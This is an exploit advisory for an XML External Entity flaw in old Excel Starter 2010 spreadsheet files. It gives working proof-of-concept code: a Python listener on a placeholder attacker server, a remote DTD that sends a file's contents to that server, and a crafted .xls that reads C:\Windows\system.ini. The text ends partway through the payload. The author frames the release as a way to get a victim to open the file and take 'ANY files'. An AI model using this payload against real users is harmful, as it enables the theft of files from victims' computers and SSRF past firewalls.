  Microsoft Excel Starter 2010 is a simplified version of Excel that comes
  pre-loaded on your computer.
  Excel Starter includes features that are basic to creating and working with
  spreadsheets, but it does not include the rich set of features found
  in the full version of Excel.
  
  
  
  Vulnerability Type:
  ====================
  XML External Entity
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  Vulnerability Details:
  =====================
  
  Microsoft Excel Starter OLD versions specifically ".xls" and ".xlthtml"
  files are vulnerable to XML External Entity attack. This can allow
  remote attackers to access and disclose ANY files from a victims computer
  if they open a corrupt ".xls" Excel file. We can also abuse XXE to
  make connections to the victims system/LAN and bypass Firewall,IPS etc
  (XXE/SSRF).
  
  Note: This has NOT worked in regular or updated patched Excel editions.
  
  When open the victim will get a warn message about it being a "different
  format and from trusted source".
  If user choose open the file they get error message "File cannot be opened
  because: System does not support the specified encoding."
  Then files you target get accessed and transfered to remote server.
  
  IF Excel version is "patched" or newer you will see message like "File
  cannot be opened because: Reference to undefined entity 'send' etc..."
  and XXE will fail.
  
  Tested successfully on several machines HP, TOSHIBA Windows 7 SP1 with
  Excel Starter 2010 versions. As some machines may still be running old
  pre-loaded Excel version it can be relevant so I release it anyways...
  
  
  
  Exploit code(s):

  POC to exfiltrate "system.ini" used by MS ADO Remote Data Services.
  
  
  Listen port 8080 (ATTACKER-SERVER)
  python -m SimpleHTTPServer 8080
  
  
  1) "payload.dtd" ( host on attacker server port 8080 same dir as our python web server )
  
  <?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-SERVER:8080?%file;'>">
  %all;
  
  
  2) "PWN.xls"Get vicitm to open it, ANY files belong to you!
  
  <?xml version="1.0"?>
  <!DOCTYPE APPARITION [
  <!ENTITY % file SYSTEM "C:\Windows\system.ini">
  <!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd">
